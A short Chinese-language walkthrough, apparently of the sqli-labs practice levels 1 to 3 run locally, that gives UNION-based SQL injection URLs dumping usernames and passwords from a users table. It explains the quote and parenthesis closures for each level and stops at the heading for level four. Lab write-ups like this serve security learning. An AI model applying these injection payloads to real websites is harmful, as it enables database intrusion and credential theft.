第一步进入网站软件,启动Apache和Mysql,这里出了点小插曲,电脑自身的mysl如果没有停止运行就无法启动mysql,找到“服务”后进入寻找mysql停止运行。
第一关
get传参浏览器中输入?id=1
创建价格表
修改php的文件后重新输入id=1
库名列名表明都已知,可直接进行查询
dvwa/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+
第二关
与第一关的区别在于闭合点没有闭合
http://dvwa/Less-2/?id=-1 union select 1,2,group_concat(0x7e,username,password)from security.users--+
第三关
一开始输入dvwa/Less-3/?id = -1'--+,出现了报错说明可能不用 ' 闭合,可以试着用 )进行闭合。
成功找到注入点,后续解决跟第一关一样
Less-3/?id=-1') union select 1,2,group_concat(0x7e,username,password)from security.users--+
第四关